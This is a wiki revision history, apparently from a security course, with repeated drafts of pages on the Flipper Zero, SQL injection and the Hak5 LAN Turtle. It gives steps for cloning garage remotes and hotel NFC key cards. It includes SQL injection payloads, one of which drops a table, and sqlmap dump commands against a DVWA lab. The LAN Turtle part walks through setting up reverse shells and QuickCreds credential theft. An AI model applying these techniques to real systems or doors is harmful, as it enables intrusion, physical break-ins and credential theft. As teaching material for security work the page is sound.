With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.
It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.
=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T09:37:10Z

ARessl: U2F

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
=== Bad USB ===
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.
It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.
=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T09:27:22Z

ARessl: Added reference

Flipper Zero

2023-02-27T09:25:42Z

ARessl: /* Infrared */ typo and explanations

Flipper Zero

2023-02-27T09:24:24Z

ARessl: /* Infrared */ added points

Flipper Zero

2023-02-27T08:56:55Z

ARessl: RFID section added

Flipper Zero

2023-02-27T08:11:43Z

ARessl: Infrared added

Flipper Zero

2023-02-27T08:04:15Z

ARessl: /* NFC */ typo fixed

Flipper Zero

2023-02-27T07:50:41Z

ARessl: NFC section added

Flipper Zero

2023-02-27T07:19:55Z

ARessl: /* Sub-GHz */ missing words and changing words

Flipper Zero

2023-02-27T07:18:16Z

ARessl: Added Sub-GHz attack and explaination

Flipper Zero

2023-02-20T16:02:47Z

ARessl: Added Use Case categories

Flipper Zero

2023-02-20T15:50:02Z

ARessl: Added use case section

Flipper Zero

2023-02-10T10:52:08Z

ARessl: Added update pictures to the firmware update section

File:QFlipper update progress.png

2023-02-10T10:43:46Z

ARessl: qflipper update progress

== Summary ==
qflipper update progress

File:QFlipper update.png

2023-02-10T10:42:54Z

ARessl: qflipper update

== Summary ==
qflipper update

Flipper Zero

2023-02-10T10:41:56Z

ARessl: Added update description

Flipper Zero

2023-02-10T10:30:23Z

ARessl: added detail side

Flipper Zero

2023-02-10T10:26:24Z

ARessl: Added picture

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front <ref name="own"></ref>]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back key
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

File:Flipper detail side.png

2023-02-10T10:24:41Z

ARessl: Flipper zero side detail

== Summary ==
Flipper zero side detail

File:Flipper detail front.png

2023-02-10T10:23:54Z

ARessl: Front of flipper zero in detail

== Summary ==
Front of flipper zero in detail

Flipper Zero

2023-02-10T10:17:30Z

ARessl: Summary and setup

== Summary ==

The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back key
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

Flipper Zero

2023-01-09T13:18:19Z

ARessl: WIP Wiki created

WIP

SQL Injection

2023-01-05T10:23:33Z

ARessl: Changed types of sql queries to categories and added the 3 categories aswell as different types of attacks for every category

== SQL Injection ==

SQL Injection is a vulnerability, which can be found in applications, especially web applications. According to the List of OWASP Top 10 Web Application Security Risks Injections are still on top in 2020. SQL Injections - which are a specific type of Injections - are the most common way for attackers to either fetch sensitive data from databases or harm a system in its dependability or even causing non-availablity of the same. Such vulnerabilities become possible when input data is concatenated to SQL queries in conjuction with the absence of data sanitation.
== Functionality ==

This vulnerability can only arise when there is a lack of data sanitation. This implies the existence of data input interfaces, whether an input field or a HTTP header field. However when SQL is used in code at application layer it is often concatenated with input data from presentation layer. The combination of unsanitized input and SQL code concatenation with data input is very bad, because this leads to perfect SQL Injections. Input interfaces can be distinguished between:

# Userinput can be every field in the User Interface (UI) where a user can input data.
# Cookies can be altered, because they reside on client-side which enables the user to inject malicious code into it.
# HTTP Header are also a type of input which can contain malicious SQL code.

All these entities contain data which is created on the client-side and also can be altered on the same. This is why the first step when any of this data arrives on the server is sanitation and validation. The latter can be partly done already on client-side. Thus, defining HTML attributes, which force user to use specific type or validating with JS, which can be used to apply regular expressions (Regex) on inputs, is essential.

=== Direct attack method ===
When input data, therefore malicious SQL code, is directly concatenated to the SQL code in the application tier it is called Direct attack method. This way an authentication of a web-page can be bypassed.

=== Indirect attack method ===
In contrast to direct attack the indirect attack is when the SQL statement is terminated and arbitrary statements are attached to it. The end is then marked as a comment with using SQL specific commenting syntax, a double dash ''--''.

Either way the malicious code is executed at the time it is received by the database.

An attack could look like this:

=== Case 1 ===
In the business logic of the application, a query is used to retrieve the data of an user based on username and password. The username and password are filled in by the user via a web form. The input goes directly into the query.

SELECT * FROM Users WHERE name ='userName' and password='password';

Suppose the attacker gives admin as the username and ' or '1' = '1' as a password. That results in the following query that will be evaluated by the database:
SELECT * FROM Users WHERE name ='admin' and password='' or '1'='1';

The above SQL query is valid and returns all tuples from the Users relation. By adding the OR condition '1' = '1', the WHERE clause is always evaluated as true. The query then corresponds to:
SELECT * FROM Users;

=== Case 2 ===
Furthermore, several SQL statements can be executed simultaneously on many database servers by separating them with semicolons. The attacker can thus insert additional commands, for example, to delete a relation with a call.

The attacker enters the following in the password field:

' or '1'='1'; DROP TABLE Users; SELECT * FROM info WHERE '1' = '1

This results in the following queries:
SELECT * FROM Users WHERE name ='admin' and password=' 'or '1'='1'; DROP TABLE Users; SELECT * FROM info WHERE '1' = '1'

When the database server processes these two queries, it first returns all data records from the Users relation and then deletes or removes the entire Users table.

== Categories of SQL attacks==
There are a number of SQL injection attacks that occur in different situations.
Depending on the target of the attacker, the techniques can be used separately as well as together.
First lets take a look at the different categories of SQL attacks:

=== In-Band SQL Injection ===
Most attacks fall under in-band SQL injections. In-band means that the attacker can carry out both attacks and retrieve information via a single communication channel. This means that the results are returned on the same medium as the attack itself was executed.

Known examples for this category would be:

==== Tautologies ====
The goal of the Tautologies attack is to find injectable parameters in the application to bypass authentication and initially extract data.
The basic idea here is to always set the where clause in the SQL statement to true so that the condition is ignored. The most common tautology is or 1 = 1. By concatenating the operator or and 1 = 1, another condition is set that is always true, so that the result of the entire condition is true. An example of this can be found in the previous chapter.

==== Error Based ====
Error based SQL Injection get their information from error messages. This means that an SQL statement is manipulated in such a way that an error message is thrown by the server. This error message can then be evaluated and thus reveal the type of database and the vulnerability to SQL injections.

==== Union Based ====

In the case of a UNION query attack, the keyword 'UNION' is inserted in the input in order to retrieve data from other relations in the database. UNION enables the execution of several independent SQL queries in addition to the main instruction. The results of the further queries are appended to the results of the legitimate SQL query.

As a prerequisite, the attacker must have information about the database in order to extract data using UNION. These include e.g. Information about table names and their respective attributes, with which the further queries can be created and linked to the original statement. Furthermore, the individual queries must return the same number of columns and the data types of the attributes must be compatible between the individual queries.
The attacker can use the ORDER BY clause to derive the number of columns from the results. The clause is added to the statement and the column index is increased until an error message occurs. The columns in a relation can be specified in the ORDER BY clause by an index, so you do not need to know the column names.

Example of a UNION query attack:
SELECT accounts FROM Users WHERE username=''username'' and password=''password''

The attacker extends the legitimate instruction by entering the following in the password field:

' 'UNION SELECT cardNo FROM Credit Cards WHERE acctNo=123456 -- ',

This results in the following query:

SELECT accounts FROM users WHERE login=' ' UNION SELECT cardNo from CreditCards
where acctNo=123456

The first statement returns zero. However, the second query is performed and returns the card number from the account number 123456.

=== Blind SQL Injection ===
Blind SQL injections may not result in an immediate response from the server. The injected commands are processed by the server and do not throw an error message, only the behavior of the server afterwards allows conclusions to be drawn about the execution and results of these, this leads to their nickname "Blind SQL Injections". The big disadvantage of these attack methods is the time required and the reliability.

Two types of Blind SQL Injections exist:

==== Boolean Based ====
Boolean based means that boolean queries are used to get different answers from the server.
Depending on the answer, you know that there is a certain UserId or a certain user has administrator rights.

For example it is assumed that a website retrieves its user data from the database using a UserId. The ID is transferred via the URL:
To check whether an SQL injection is possible, the following condition (and 1 = 2) is added.

http://newspaper.com/items.php?id=2 and 1=2

The actual SQL query that is executed is:

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

In order for this assertion to be confirmed, the attacker builds a condition that returns true. This would be, for example, and 1 = 1, since 1 = 1 is always correct:

http://newspaper.com/items.php?id=2 and 1=1

==== Time Based ====
In time-based attacks, the attacker inserts a query after the actual request, e.g. whether the system username is admin. If yes, the server should wait 15 seconds before returning the answer.
This shows that both boolean based and time based attacks are very good at revealing sensitive information about the server without sending any sensitive data around, because in the end the server responds with a normal user query, only the response times change.

=== Out-of-Band SQL Injection ===
Out-of-band SQL injections use a different information channel than the actual attack vector, hence their name Out-of-band SQL injections. However, these are rarely used nowadays because special functions must be activated on the database server.
For example, it must be possible to set up a DNS query or an HTTP request within the SQL query.
A well-known example of out-of-band SQL injections would be a DNS query to a server controlled by the attacker, in which case the information is packaged as a URL and sent to the attacker as a DNS query.

== Prevention ==
The countermeasures for SQL injection, apart from the type of attack, are mainly the same. The root cause of SQL injections is the lack of input validation. Therefore, the simple solution to address these vulnerabilities is to use appropriate defensive coding. If you are working with user input that is initially used in SQL queries, it should be passed to the query via parameters and validated using defined regular expressions, also known as input whitelisting.

* Check the input type by parameterizing
* Positive pattern comparison
* Filter input data
* Avoid error messages
* Least privilege
* Cloudflare or other third party services

== Practice ==

=== Damn Vulnerable Web App (DVWA) ===
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

To Install the DvWA project follow the following page:

* https://github.com/ethicalhack3r/DVWA

Installation:

=== Burp suite ===
Burp Suite is a tool for performing penetration testing of web applications. With the Burp Suite, administrators can intercept and manipulate HTTP / HTTPS traffic to web applications before it is sent to the server. This enables security gaps in web applications to be discovered quickly and effectively.

To start intercepting web traffic, you have to set the proxy of the browser to 127.0.0.1:8080. The proxy listener is by default configured on 127.0.0.1:8080 in burp suite.

[[File:Proxy 4.png]]

In the DVWA project move to "SQL Injection" and type in the following input as User ID:

1' or 1=1

This will deliver all users stored in the database as the condition is always true.

[[File:demo2.png]]

Afterwards when switching to burp suite tab "Proxy" -> History you will see that the request has been captured. Within the request the "PHPSESSID" will be included as part of the cookie.

[[File:demo3.png]]

With this sessionid it is possible to connect to database and get further information with the help of a third tool called "sqlmap". To get the databases within DBMS system use the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=<e.g. medium>; PHPSESSID=<SessionID>" --dbs

[[File:demo4.png]]

To retrieve the tables of a specific database for example dvwa database. Replace the "--dbs" option with the "--tables" and "-D" option and define the database.

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --tables -D dvwa

[[File:demo5.png]]

Furthermore, it is possible to see the database schema from database "dvwa" as well by executing the following command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --columns -D dvwa -T users

[[File:demo6.png]]

At the end to get to the sensitive data the attacker will execute the command:

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" "--cookie=security=low; PHPSESSID=t664gnfopfo6kem1nkon3a6kvb" --dump -D dvwa -T users

[[File:demo7.png]]

== References ==

* https://ieeexplore.ieee.org/document/6400112
* https://pdfs.semanticscholar.org/81a5/02b52485e52713ccab6d260f15871c2acdcb.pdf/
* https://ieeexplore.ieee.org/abstract/document/6396096
* https://www.dbcybertech.com/pdf/sql-injection-detection-web-environment.pdf
* https://www.cisecurity.org/wp-content/uploads/2017/05/SQL-Injection-White-Paper2.pdf
* https://info.sucuri.net/hubfs/images/owasp-ebook-2019/sucuri-ebook-OWASP-top-10.pdf
* http://www.dvwa.co.uk/
* https://owasp.org/www-project-top-ten/

[[Category:Basic]]

Hak5 LAN Turtle

2022-12-12T14:58:15Z

ARessl: /* Setting up the LAN Turtle */

== Summary ==
[[File:LANTurtle.jpg |thumb|right|400px||LAN Turtle and Field Guide <ref name="own"></ref>]]
The LAN turtle is a tool for penetration testers and system administrators disguised as a simple USB Ethernet adapter. It provides possibilities to perform remote access, man-in-the-middle and information gathering attacks. These functions are provided by the turtle modules which are preinstalled on the LAN turtle. The modules are based on the OpenWRT platform which allow users to add customized modules. The turtle itself is covert by a generic USB to Ethernet adapter and can therefore be placed unnoticed in IT infrastructures.

== Description ==

=== Setting up the LAN Turtle ===

# Plug the LAN turtle into one of the USB ports of your computer.
# Your computer will get an 172.16.84.x address as soon as the startup sequence of the turtle finished. If not, then you have to statically configure an IP out of the 172.16.84.0/24 range.
# Connect to the turtle with <code>ssh root@172.16.84.1</code> and enter the password <code>elvisLab</code> (default password after factory reset is <code>sh3llz</code>)
# The simplistic graphical shell interface will prompt you to change the password but the old one is also allowed.
# The LAN turtle can be configured and modules can be installed within the interface.
# If you end the interface you will be greeted with an normal Linux shell but you can open it again with the <code>turtle</code> command

=== Updating firmware (optional) ===
To ensure the best performance and compatability you should update the firmware regularly. This requires internet connection.

# Select <code>Config</code> in the Main Menu and press select.
# Go to <code>Check for updates</code> and press select to start the update process.
# Wait till the update finishes.

=== Factory Reset (optional)===
In the extreme case that a LAN Turtle has become permanently inaccessible or inoperative, there is a quick method for recovery using a special web interface.
# Download the latest LAN Turtle factory image from the [https://downloads.hak5.org/ official download center]. Note: Choose the factory recovery image.
# Open the LAN Turtle carefully. There are 2 screws under the sticker.
# Now you need to find the reset button/jumper contact. You can find a video on how to locate [https://www.youtube.com/watch?v=ubNin_79wxE here].
# Hold down the button/jumper while you're plugging the LAN Turtle in your PC and keep holding it for 5 more seconds.
# Go to http://192.168.1.1 for the firmware web recovery tool and upload the image to the LAN Turtle.
# Wait 5-10 minutes for the recovery to finish, the LAN Turtle will indicate it with a special LED blink pattern. Watch the video for the LED Pattern to know when the recovery has finished.

=== Using the turtle modules ===

The LAN turtle comes packed with pre-installed tools. Furthermore it is possible to program your own or download them from the internet and configure them with the module manager as well.

[[File:LANTurtleModules.jpg|400px||LAN Turtle configuration shell interface]] <ref name="own"></ref>

==== Manually download turtle modules ====
If the module manager doesn't work you need to manually download turtle modules. You can do that in the console of the lan turtle, just exit the main menu.
You can download modules from the [https://github.com/hak5/lanturtle-modules/tree/gh-pages/modules official hak5 github].

# Change directory to <code>/etc/turtle/modules</code>
# Download modules with <code>wget <link></code>
# Make the file an executeable <code>chmod +x <file></code>

==== AutoSSH ====

AutoSSH is a service which provides persistent SSH connections. If an SSH session drops, it will be quickly re-established by AutoSSH. This service is typically used to provide a convenient and persistent reverse shell into the LAN Turtle on the standard SSH port 22 - though it may be configured with any standard SSH parameters to forward any arbitrary port.
*<code>host</code> - The username and hostname (DNS or IP) separated by @ for which to establish the SSH connection.
*<code>port</code> - The port number from which the remote server will bind.
*<code>listen port</code> - The port number to which the remote port will bind.

Example: Per the defaults, the remote server will bind its local port 2222 back to the LAN Turtle port 22. In this scenario one may establish a persistent connection to their LAN Turtle from this reverse shell by first connecting to the public server, and then from there establishing an SSH connection to port 2222.

==== Clomac ====
Clomac clones the Client's MAC address into the WAN interface.

==== Cron ====
Cron is a job scheduler which can be used to start and stop modules at specific times or regular intervals using the 'start' and 'stop' commands.

==== DDNSC - Dynamic Domain Name Service Client ====
This service provides automatic Dynamic Domain Name updates.

==== DNSSpoof ====
DNSSpoof forges replies to arbitrary DNS address / pointer queries on the LAN. This is useful in bypassing hostname-based access controls, or in implementing a variety of man-in-the-middle attacks. For example, the IP address returned for a client lookup of the domain \"example.com\" can be replaced with that of the LAN Turtle itself, or a 3rd party server. In this scenario, the computer connected to the Internet through the LAN Turtle attempting to browse to this domain may be redirected to the spoofed IP.

==== DNSMasq-Spoof ====
The DNSMasq-Spoof works similar to the DNSSpoof module but uses DNSMasq instead of Dsniff tools.

==== Keymanager ====
With this tool you can create RSA keypairs and copy them to the public server. This is required in order to properly configure AutoSSH.

==== Meterpreter ====
This module deploys an persistent shell to the Metasploit Framework of an other Machine.

==== NetCat Reverse Shell ====
The netcat reverse shell provides you with remote access to the lan turtle. Even though it is not to be considered as persistent per default, its reliability can be increased with simple bash scripts on the server side.

==== Nmap-Scan ====
This module uses <code>nmap</code> for discovering running devices and their port of the current LAN network. The user is able to specify a target network range to scan, choose from different scan profiles and specify the directory to write the log file to.

==== OpenVPN ====
OpenVPN enables remote access the LAN Turtle and optionally the network on which it resides. It allows to send the captured data to your operating network.

==== QuickCreds ====
This module is used to retrieve login credentials from locked windows machines. The credentials are saved to <code>/root/loot</code>. The LAN turtle LED blinks while QuickCreds is running and lights solid when its done. Versions of the LAN turtle that do not support an SD card are not able to install it properly as it requires more space.+

==== Iodine ====
Establishes a DNS tunnel outbound to a server and domain name using iodine.

==== Responder ====
Responder is a LLMNR, NBT-NS and MDNS posioner. It answers to specific Name Service queries based on ther name suffix. By default, it only answers to File Server Service requests for SMB. It aims to be stealthier on the network and ensure that legitimate NBT-NS behavior is not broken with.

==== Script2Email ====
This module sends the output of a script as an email to a specified address. To do so, it uses SMTP and requires a mail account.

==== Script2Http ====
Sens the output of a script as HTTP post to a specified URL.

==== SSHFS ====
SSHFS (Secure SHell FileSystem) is a file system for Linux (and other operating systems with a FUSE implementation, such as Mac OS X or FreeBSD) capable of operating on files on a remote computer using just a secure shell login on the remote computer. On the local computer where the SSHFS is mounted, the implementation makes use of the FUSE (Filesystem in Userspace) kernel module. The practical effect of this is that the end user can seamlessly interact with remote files being securely served over SSH just as if they were local files on his/her computer. On the remote computer the SFTP subsystem of SSH is used.

==== Tortle ====
Tortle makes the turtle act as an TOR Gateway. It enables you to setup several services.

==== uPnP-Portfwd ====
This service provides automatic port forwarding when connected to some uPnP enabled routers. This way it is able to provide a persistend direct shell from the outside to the LAN turtle. This won't work in many cases but is useful in cases it does.

==== Uptime ====
Displays the uptime of the LAN Turtle as well as the load average.

==== URLSnarf ====
URLSnarf allows you to capture which websites were accessed by the plugged in computer. URLSnarf only works with HTTP webpages which are hard to find today. Even though it is displayed as downloadable via the modulemanager, it is depricated in Turtle Shell 6.2.

== Use Cases==

The LAN turtle can be deployed in various use cases, which can be divided into four categories:
* remote access attacks with AutoSSH or OpenVPN or NetCat Reverse Shell
* man-in-the-middle attacks with URLSnarf or DNSSpoof
* information gathering with Nmap-Scan
* deploy service with via TOR-network

Remote access attacks are used to gain access to a private network from a remote place in order to start further attacks from the inside network. This makes it a lot more easier because the attack itself does not have to bypass a router or firewall. All the attacker needs is the pre-configured LAN turtle inside the network and a remote server on the internet. To perform a remote access, the LAN turtle builds up a tunnel to the remote server so the firewall cannot capture the traffic. Finally the attacker can access the LAN turtle through the tunnel from the remote server. This attack can be performed with the modules AutoSSH or OpenVPN.

The LAN turtle also allows man-in-the-middle attacks, where the turtle can intercept the communication between two parties. To perform such an attack, the LAN turtle must be connected to an USB port of the victim host and to a network cable which connects the host to the internal LAN. Now the whole traffic of the victim host goes over the LAN turtle and can be logged or altered. An attacker can use URLSnarf or DNSSpoof to perform such an attack.

The third use case is information gathering. The aim of this attack is to receive information about the topology, the hosts and the protocols of an internal network in order to perform further attacks. This can be done with the modules like Nmap-Scan.

The following step-by-step instructions will outline how to configure the LAN turtle in order to perform the different types of attacks.

=== Remote access attacks with AutoSSH ===
In this example consider an internal network which is secured by a firewall and a server in the internet controlled by the attacker. The server is using 10.0.0.41 and a user turtle was created on it in order to simplify depictions.

==== Step 1: Generate RSA keypairs with Keymanager ====
[[File:SSH_Key.png |thumb|right|400px||<ref name="own"></ref>]]
# Open the Keymanager module and select <code>generate_key</code>
# Select <code>copy_key</code> and insert
#* <code>host</code> remote SSH server
#* <code>port</code> remote SSH server port (typically 22)
#* <code>user</code> user on the remote SSH server
# A prompt will ask wether or not to confirm the fingerprint
# The password for the user on the host is requestes
# If no error occurs, the exchange was succesful

==== Step 2: Configure AutoSSH ====
[[File:SSH_config.png |thumb|right|400px||<ref name="own"></ref>]]
# Open AutoSSH and insert the following parameters:
#* <code>user@host</code> user and host to establish the SSH tunnel
#* <code>port</code> the port on the Host used to establish the SSH tunnel
#* <code>remote port</code> remote port to bind through the SSH tunnel (default 2222)
#* <code>local port</code> local port to bind tunnel (default 22)
# Submit the changes and start AutoSSH (or enable it for autostart)

==== Step 2: Access LAN turtle from remote server ====
# Connect to the remote server
# Connect locally to the remote port of the AutoSSH configuration by <code>ssh root@localhost:2222</code>
# You are now on the LAN turtle, continue with further attacks

=== Remote access attacks with NetCat Reverse Shell ===
[[File:NC_output.png |thumb|right|400px||Servers perspective of the NC reverse shell <ref name="own"></ref>]]
==== Step 1: Start NetCat server on your host machine ====
* First you need to setup a netcat connection on your host machine that listens to incoming connections. To start NetCat server execute <code>nc -l 8080</code>

==== Step 2: Configure NetCat Reverse Shell ====
# Open the NetCat Reverse Shell module and go to "Configure"
# Enter your host machines ip address and the port of the nc server. In our case 4444.
# Start the module on the LAN Turtle.

==== Step 3: Exploit ====
When the reverse shell connected to your host machine you can execute commands on the lan turtle over the reverse shell.

=== Gather credentials of locked machines using QuickCreds ===

==== Step 1: Install an SD Card to an applicable Lan Turtle ====
# Carefully open the Lan Turtle Shell as described above, also mind the two screws hidden under the sticker to open it fully
# Turn the Lan Turtle around and fit an SD Card into the SD Card Slot
# Start the Lan Turtle and select the "Format SD Card" option. This is important to avoid any filesystem incompatibilities

==== Step 2: Install QuickCreds module ====
# Open the Module Manager, select QuickCreds and install it
# Go back to the installed modules and open QuickCreds
# Select configure and wait for a minute while QuickCreds installs all the necessary packages

==== Step 3: Arm QuickCreds ====
# Open QuickCreds and click "ENABLE", this will start QuickCreds when the Lan Turtle is plugged in

==== Step 4: Exploit ====
# Plug the armed Lan Turtle into any locked Windows machine
